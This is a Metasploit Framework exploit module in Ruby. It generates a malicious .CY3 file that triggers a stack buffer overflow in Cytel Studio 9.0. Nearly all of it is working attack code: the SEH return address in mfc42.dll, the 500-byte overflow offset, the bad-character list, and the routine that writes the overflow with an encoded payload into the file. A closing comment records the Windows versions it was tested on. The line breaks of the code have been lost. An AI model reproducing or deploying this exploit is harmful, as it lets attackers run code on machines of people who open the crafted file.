Cytel Studio 9.0 – ‘.CY3’ Local Stack Buffer Overflow (Metasploit)
## # $Id: cytel_studio_cy3.rb 14041 2011-10-24 01:39:11Z sinn3r $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Cytel Studio 9.0 (CY3 File) Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack based buffer overflow found in Cytel Studio <= 9.0. The overflow is triggered during the copying of strings to a stack buffer of 256 bytes. }, 'License' => MSF_LICENSE, 'Author' => [ 'Luigi Auriemma', # Initial Discovery/PoC 'James Fitts' # Metasploit Module (Thx Juan & Jeff) ], 'Version' => '$Revision: 14041 $', 'References' => [ [ 'OSVDB', '75991' ], [ 'BID', '49924' ], [ 'URL', 'http://aluigi.altervista.org/adv/cytel_1-adv.txt' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true', }, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x1a\x20", }, 'Platform' => 'win', 'Targets' => [ [ # File version 8.0.0.1 'Cytel Studio 9.0', { 'Ret' => 0x73e58e01, # p/p/r mfc42.dll 'Offset' => 500 } ], ], 'Privileged' => false, 'DisclosureDate' => 'Oct 02 2011', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.cy3']), ], self.class) end def exploit cy3 = "90\n150 1\n1\test\n" cy3 << rand_text_alpha_upper(target['Offset']) cy3 << generate_seh_record(target.ret) cy3 << rand_text_alpha_upper(8) cy3 << payload.encoded cy3 << rand_text_alpha_upper(5000 - cy3.length) print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(cy3) end end =begin During testing, the offset for Jeff was different. But the three of us have NOT been unable to reproduce the same problem. All this was tested on: XP SP3, Vista SP0/SP1, Win 7 =end |